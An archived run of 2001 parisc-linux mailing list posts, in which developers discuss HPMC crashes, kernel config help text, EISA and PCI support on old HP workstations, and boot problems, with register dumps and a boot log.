Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15r9fi-0003C6-00; Tue, 09 Oct 2001 20:04:38 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12550

I noticed that when i do a manual 'sync' on my c3000 running a 32-bit
kernel, I get a HPMC:


High Priority Machine Check (HPMC): Code=1 regs=1029c080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111110100001100
r0-3     00000000 102a9010 1010e228 000000ff
r4-7     00000000 00000000 102ad010 10355074
r8-11    10355010 10354810 0004000e 102d4730
r12-15   10349810 10349010 103495dc 102ad010
r16-19   1032c580 f000017c f0000174 0000000e
r20-23   1036f140 000003fd 1010e20c 00000000
r24-27   000003fd fee003fd fee003fd 10292010
r28-31   00000000 00000205 1032cb00 1010cc2c
sr0-3    00000000 0000027c 00000000 00000009
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10207568 1020756c
 IIR: 0f40001c    ISR: a607fffb  IOR: 802003fd
 CPU:        0   CR30: 1032c000 CR31: 10330000
 ORIG_R28: 00000000

"pim hpmc" says:
A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/0/14/1/1 (built-in
PCI device)

apparently it died in _gsc_readb.

With a 64-bit kernel it works ok.

Anyone else seeing this/know what's going on?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Final version of Configure.help
Date: Wed, 10 Oct 2001 01:43:10 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <200110100743.BAA12218@puffin.external.hp.com>
References: <marteaut@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620596 27666 80.91.229.3 (22 Nov 2014 01:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:16 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 01:46:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 664594952
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 01:46:21 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA12218;
	Wed, 10 Oct 2001 01:43:10 -0600
In-Reply-To: Message from Thomas Marteau <marteaut@esiee.fr> 
   of "Tue, 09 Oct 2001 23:36:16 +0200." <3BC36DD0.42636C7@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:12551

Thomas Marteau wrote:
> 	Here is the patch to update the help for make config. It is the result
> of many advices given by a lot of people. 

thomas,
overall, it looks pretty good...thanks for pulling this together!

> PS: Any comment is STILL possible :-)

ok :^)

In general, I'd rather not see comments in this document about
what options are or are not working. That's changing still and we don't
feed stuff back upstream very often.  Better to point folks to
a web page(s) (perhaps both www.parisc-linux.org and esiee pages)
for current status.

I'd also like to note that most options which enable HW support
are safe to enable even if the platform doesn't have that HW.
The goal is to be able to enable everything and have the kernel
just DTRT at boot time. In short, I'd like to see something like
"Safe to say 'y' if in doubt" on most of the "new" options.

> +GSCtoPCI/DINO PCI support
> +CONFIG_GSC_DINO
> +  By selecting this item, you add PCI support for Dino PCI Host Bus bridge.
> +  PCI devices are sometimes embedded in GSC add-on cards (aka "card-mode 
> +  Dino"). Note that only recent systems need it like B132L, C200. For more
> +  information, go to http://hwdb.parisc-linux.org.

"EISA Form Factor" Card-mode dino can be found in anything as old as 715's.
"3x5 Form Factor" GSC cards fit (and should work) in all K-class.

Anyway, it's safe to enable.

> +LBA/Elroy PCI support
> +CONFIG_PCI_LBA
> +  Elroy is a bridge between Ropes bus and PCI on several machines. It can
> +  be found on A500 and B/C/J/L/N-XXXX models.

Also found in A400 and Superdome.
Might be simpler to say "newer workstations and servers which have 4X-PCI".


>   ...It allows the system to 
> +  communicate with PCI cards. Thus, you should leave it on especially
> +  if you have one of the listed HP machines. By default, say Y.
> +
> +SuperIO support
> +CONFIG_SUPERIO
> +  SuperIO is a chip that integrates a good part of I/O for the newest 
> +  B/C/J-XXXX workstations. Serial, USB, IDE and Floppy are built in that

*controllers* - not the devices are built-in.

> +  chip. That's why you must select it, if your box is corresponding to
> +  those series. Please note that only the seriel support is working
> +  at the moment.

typo: serial

thanks again!
grant




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Wed, 10 Oct 2001 01:49:54 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <200110100749.BAA12257@puffin.external.hp.com>
References: <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620596 27671 80.91.229.3 (22 Nov 2014 01:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:16 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 01:53:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CEEC4952
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 01:53:35 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA12257;
	Wed, 10 Oct 2001 01:49:54 -0600
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Tue, 09 Oct 2001 22:58:19 PDT." <20011009225819.H653@tausq.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:12552

Randolph Chung wrote:
> looks like there was another small fix needed for firmware.c. Please try
> the latest one. It now works for me for both 64-bit and 32-bit kernels.

works for me :^)

grant




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.5.9-pa24 won't boot 735/125
Date: Wed, 10 Oct 2001 08:25:17 +0000 (UTC)
Lines: 75
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110100813560.4675-100000@lefou.zayda.com>
References: <20010925092401.M5051@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620596 27674 80.91.229.3 (22 Nov 2014 01:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:16 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 02:25:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10F034961
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 02:25:24 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id IAA04933;
	Wed, 10 Oct 2001 08:25:17 GMT
X-X-Sender: <sonny@lefou.zayda.com>
In-Reply-To: <20010925092401.M5051@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12553

Wooohooo.
I got it to work.  Well, not quite.  A retired b132l showed up on my
doorstep last night and rejuvinated my somewhat flagging interest in
getting hp workstations to run linux.  I promply hooked it up and tried it
out.  It did the same thing my 735 did.  Argggh.

So, now I'm up to 2.4.90-pa45 kernel.  The kernel is booting and the
machine will let me log on if I pass the kernel 'init=/bin/sh'.  I then
locks up during various operations.  Starting sysklogd and klogd in rc2.d,
but also this part of bootmisc.sh would lock up in rcS.d:

if [ ! -c
/dev/.devfsd ] && [ -c /dev/ttyp0 ]
then
        chmod 666 /dev/tty[p-za-e][0-9a-f]
        chown root:tty /dev/tty[p-za-e][0-9a-f]
fi

The solution for me was to get the init scripts in rcS.d to run, set up
networking and then 'apt-get upgrade' the system.  After that, all of the
init scripts run without a hitch and the system boots into runlevel 2
without a problem.  I am assuming that this solution will work for the
735/125 as well.  I'll noow in a little while, as I am mirroring the
working system onto another disk.

Thanks for all of your help.
Sonny


On Tue, 25 Sep 2001, Richard Hirst wrote:

> On Mon, Sep 24, 2001 at 10:09:09PM -0600, Sonny Cook wrote:
> > Okay, I've written off cross compiling as a loss.  I did get a 715/80
> > working with no obvious problems.  I've compiled a kernel with the
> > EARLY_BOOTUP_DEBUG flag defined.  So, I boot my 735/125 with that kernel
> > and get much more interesting information.  Thusly:
> ...
> > Setting the System Clock using the Hardware Clock as reference...
> > Cannot access the Hardware Clock via any known method.
> > Use the --debug option to see the details of our search for an access
> > method.
> > System Clock set. Local time: Tue Sep 25 20:35:45 MDT 2001
> >
> > Cleaning: /tmp /var/lock /var/run.
> >
> > At this point the system refuses to give any more output.  I can ping the
> > box, but there are no services running (sshd is supposed to start up.)  I
> > also assume that the root file system (/dev/sdb2) is indeed mounted,
> > because if I just cold reboot, it has to fsck the filesystem next time.
> >
> > The kernel is compiled without STI or framebuffer support.  It also has
> > all of the non experimental iptables options compiled in.
>
> To eliminate the possibility of a kernel config problem, I would
> make distclean; cp arch/parisc/debian-configs/32 .config; make oldconfig
> make dep; make
>
> The other thing you can try is booting with init=/bin/sh and try
> starting things up by hand to see what hangs it.  Or maybe remove
> non-essentail services, then if it boots ok try starting them one
> by one.
>
> Richard
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 03:32:09 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <01101003320900.00964@Wolf-01>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620597 27677 80.91.229.3 (22 Nov 2014 01:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:17 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 02:33:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 008234961
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 02:33:13 -0600 (MDT)
Original-Received: from Wolf-01 (ppp8.cc1.pflash.com [63.121.24.10]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007262685@vopserver.pflashcom>;
 Wed, 10 Oct 2001 03:37:52 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12554

On Wednesday 10 October 2001 01:24 am, Matthew Wilcox wrote:
> Anyone want to review a patch that makes EISA work?  
>
>  * I decided that to support old drivers, EISA port numbers should be
>    between 0-0xffff, so I reserved bus number 0 for EISA.  This involved
>    messing with inb/outb in pci.c.
>
Willy,

A comment, for your consideration:

Old ISA boards only do a 10-bit decode and it is a frequent occurance
that old drivers don't "clean up" the unused high 6 bits.

Would it be reasonable to mask port numbers to 10 bits for ISA in the
inb/outb routines?

Mike




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/125 eisa nic
Date: Wed, 10 Oct 2001 08:33:21 +0000 (UTC)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110100827310.4675-100000@lefou.zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620597 27680 80.91.229.3 (22 Nov 2014 01:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:17 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 02:33:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 254814961
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 02:33:22 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id IAA05067
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 08:33:21 GMT
X-X-Sender: <sonny@lefou.zayda.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12555

I have a 735/125 and an EISA i82596 based nic.  Does the parisc-linux
kernel support this combination at the moment?  As far as I can tell from
the list archives, the answer is no, but that wasn't for this specific
combination, so I would just like to be sure.
Thanks,
Sonny





From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] b132l pci question
Date: Wed, 10 Oct 2001 08:36:54 +0000 (UTC)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110100833420.4675-100000@lefou.zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620597 27687 80.91.229.3 (22 Nov 2014 01:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:17 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 02:36:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 091FE49A3
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 02:36:55 -0600 (MDT)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id IAA05123
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 08:36:54 GMT
X-X-Sender: <sonny@lefou.zayda.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12556

I just got a b132l (woohoo).  How well is the pci bus supported.  There
seem to be some voltage caveats with 5v and 3.3v, but I am not clear on
the issues.  Are there cards which are know to work, specifically, I am
interested in wunning extra nics in it.
Thanks,
Sonny





From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie on PA: Trying to compile kernel
Date: Wed, 10 Oct 2001 11:11:12 +0200
Organization: SAP LinuxLab
Lines: 46
Approved: news@gmane.org
Message-ID: <200110100911.LAA14937@sap-ag.de>
References: <7B1EED0C5D58D411B73200508BDE77B2C53CA9@EXCHANGEB> <3BC37248.8D97FE2C@esiee.fr> <20011009163344.A4198@tdl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620598 27691 80.91.229.3 (22 Nov 2014 01:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:18 +0000 (UTC)
Cc: Markus =?iso-8859-1?q?D=F6hr?= <doehrm@aubi.de>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Randall Craig <randall@tdl.com>,
	Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 03:11:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B6449A4
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 03:11:29 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id LAA28341;
  Wed, 10 Oct 2001 11:14:03 +0200 (MESZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20011009163344.A4198@tdl.com>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:12557

On Wednesday 10 October 2001 01:33, Markus Dhr wrote:
> > > PS-OT: I wonder if SAP will port their application server to
> > > parisc/Linux...
> >
On Tuesday 09 October 2001 23:55, Thomas Marteau wrote:
> > I really do not know. Perhaps, Helge Deller will know :)
>
On Wednesday 10 October 2001 01:33, Randall Craig wrote:
> I would imagine, only until there is a real market demand for palinux, and
> if large distros such as SuSE adopt palinux.  ... and of course when
> palinux becomes stable.

Hi Markus, Thomas and Randall,

That's funny. Right yesterday I got a B180L for my desk and a B2000 in one of the 
server-rooms. Believe me, I'll try to build the R/3 kernel for PA/Linux, but 
this is primarily my private interest and is not related to my job or my daily tasks here.

I asked already at a higher level how SAP's interest for SAP on PA/Linux is.
But as Randall said, SAP wouldn't even think of it, if not one of the big vendors
(SuSE, RedHat, anyone else or even HP itself) would take over customer-support 
for R/3 on PA/Linux.
Furthermore I personally also don't think that SAP on PA/Linux will ever 
happen, mainly because
a) AFAIK HP will or has already stopped their PARISC product line - which is a 
knock-out argument against too much further development on that platform, and
b) SAP will only support one Unix-Platform per processor-architecture. This
would mean that HP would have to drop R/3 on HP/UX - in favour of  R/3 on PA/Linux -
which I think would never happen.

Greetings,
Helge
-- 
_______________________________________________________________________

THE BEST RUN E-BUSINESSES RUN SAP
_______________________________________________________________________

Helge Deller
SAP AG Walldorf/Baden, Germany
LinuxLab & Unixplatforms

SAP LinuxLab support address: linux@sap.com




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 20:31:10 +0930
Lines: 13
Approved: news@gmane.org
Message-ID: <20011010203110.S1100@bubble.sa.bigpond.net.au>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <01101003320900.00964@Wolf-01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620598 27697 80.91.229.3 (22 Nov 2014 01:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:18 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: "Michael S. Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 05:01:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta06ps.bigpond.com (unknown [144.135.25.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F806492B
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 05:01:34 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.78]) by
          mta06ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GKZLKS00.IW7 for <parisc-linux@parisc-linux.org>; Wed, 10 Oct
          2001 21:07:40 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by PSMAM04.mailsvc.email.bigpond.com(MailRouter V2.9j 8401/12487796); 10 Oct 2001 21:07:35
Original-Received: (qmail 26365 invoked by uid 179); 10 Oct 2001 11:01:10 -0000
Mail-Followup-To: "Michael S. Zick" <mszick@pflash.com>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <01101003320900.00964@Wolf-01>; from mszick@pflash.com on Wed, Oct 10, 2001 at 03:32:09AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:12558

On Wed, Oct 10, 2001 at 03:32:09AM -0500, Michael S. Zick wrote:
> 
> Old ISA boards only do a 10-bit decode and it is a frequent occurance
> that old drivers don't "clean up" the unused high 6 bits.
> 
> Would it be reasonable to mask port numbers to 10 bits for ISA in the
> inb/outb routines?

No.  Some old ISA boards do decode the top bits, and actually use them.





From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 13:45:26 +0100
Lines: 179
Approved: news@gmane.org
Message-ID: <20011010134526.F11105@linuxcare.com>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620598 27701 80.91.229.3 (22 Nov 2014 01:43:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 06:44:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAAA04977
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 06:44:52 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B744AB00C; Wed, 10 Oct 2001 13:45:26 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 10, 2001 at 07:24:41AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12559

On Wed, Oct 10, 2001 at 07:24:41AM +0100, Matthew Wilcox wrote:
> 
> Anyone want to review a patch that makes EISA work?  I've only

Looks reasonable to me, but doesn't make any difference so far as
EISA 53c710 cards in my 715/75 are concerned.  There seem to be two
basic problems...

Interrupts - I can see from the 53c710 registers that it is generating
an interrupt, but it doesn't seem to be enabled through to the processor.
I didn't know which irq to request, so I guessed it might be one of the
ASP ones (which I think cover 64 to 95), and did a request_irq for all
32 of them.  Didn't help.

Bus mastering - the 53c710 is attempting to fetch and execute scripts
from memory, but from what I can tell, it is picking up invalid data.
Basically the chips script pointer has moved on one instruction and it
is trying to generate an Illegal Instruction Detected interrupt, and
the dsps register, which I think is used in script fetching, contains
0xffffffff.

atm I am using eisa_in32() to check the card signature, but then
using readb and friends on (EISA_BASE + port) to access the card.
The driver only supports memory mapped chip access on parisc, and
as it is using memory mapped access for the on-board 53c700, it
makes sense to do that for EISA cards as well.  I identify the
card from a 32 bit signature at base+0xc80, which is apparently
correct on Compaq cards, at least - dunno if that is standard.
I'm pretty confident that I am accessing the chips registers ok.

I had to hack the scsi driver a bit to change the parity generation/
checking options, otherwise the chip just sat there saying its external
abort signal was true.  The chip supports the idea of passing parity
through from scsi bus to host bus, but I've no idea what features
might be implemented on my HP cards.  I tried a Compaq card as well,
which behaved the same except (a) I didn't need to do the parity hack,
and (b) it wasn't reported in the devices list on kernel boot.  With
an HP card in, it is listed as 'unknown device at 0xfc001000'.

Although the new code reports the EISA adaptor as Mongoose, that
address has already been reported as "Scorpio Sr. EISA BA".

Richard


              (c) Copyright Hewlett-Packard Company, 1991, 1992, 1993           
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91, 92    
                                                                                
ROM: 9000/715/75                                                                
                                                                                
PDC ROM rev. 1.1                                                                
IODC ROM rev. 1.0                                                               
96 MB of memory have been configured.                                           
                                                                                
Warning: one or more EISA cards could not be configured.                        
Autoselect and search will ignore unconfigured cards.                           
                                                                                
                                                                                
Searching for Potential Boot Devices.                                           
To terminate search, press and hold the ESCAPE key.                             
                                                                                
Device Selection      Device Path              Device Type                      
----------------------------------------------------------------------------    
                                                                                
P0                    scsi.6.0                 MICROP  2112                     
P1                    scsi.5.0                 SEAGATE ST32430N                 
P2                    scsi.3.0                 HP      HP35470A                 
P3                    lan.0002b3-218a14.0.0    moose                            
                                                                                
                                                                                
                                                                                
b)    Boot from specified device                                                
s)    Search for bootable devices                                               
a)    Enter Boot Administration mode                                            
x)    Exit and continue boot sequence                                           
?)    Help                                                                      
                                                                                
Select from menu: b p3                                                          
                                                                                
Trying lan.0002b3-218a14.0.0                                                    
Boot path initialized.                                                          
Attempting to load IPL.                                                         
                                                                                
                                                                                
Hard booted.                                                                    
palo ipl 0.94 richard@beast Wed Oct 10 12:18:57 BST 2001                        
0/vmlinux32 3120379 bytes @ 0x7800                                              
                                                                                
Command line: 'HOME=/ TERM=linux root=/dev/sda1  console=ttyS0'                 
                                                                                
Kernel: partition 0 file /vmlinux                                               
Warning: kernel name doesn't end with 32 or 64... Guessing 32                   
ELF32 executable                                                                
Entry 00100000 first 00100000 n 6                                               
Segment 0 load 00100000 size 1611616 mediaptr 0x1000                            
Segment 1 load 0028a000 size 287736 mediaptr 0x18b000                           
Segment 2 load 002d4000 size 377904 mediaptr 0x1d2000                           
Segment 3 load 00334000 size 8192 mediaptr 0x22f000                             
Segment 4 load 00338000 size 32768 mediaptr 0x231000                            
Segment 5 load 00376770 size 82896 mediaptr 0x239770                            
branching to kernel entry point 0x00100000                                      
Linux version 2.4.9-pa45 (richard@beast) (gcc version 3.0.2 20010829 (prerelease
)) #16 Wed Oct 10 14:13:11 BST 2001                                             
FP[0] enabled: Rev 1 Model 9                                                    
The 32-bit Kernel has started...                                                
Determining PDC firmware type: Snake.                                           
model   00003160 00000481 00000000 00000000 782de278 ffffffff 00000004 0000000a 
0000000a                                                                        
vers    00000013                                                                
CPUID   vers 0 rev 0                                                            
model   9000/715                                                                
Total Memory: 96 Mb                                                             
pagetable_init                                                                  
On node 0 totalpages: 24576                                                     
zone(0): 24576 pages.                                                           
zone(1): 0 pages.                                                               
zone(2): 0 pages.                                                               
Kernel command line: HOME=/ TERM=linux root=/dev/sda1  console=ttyS0            
Error reading tod clock                                                         
Console: colour dummy device 160x64                                             
Calibrating delay loop... 74.75 BogoMIPS                                        
Memory: 93980k available                                                        
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)                 
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)                    
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)                    
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)                   
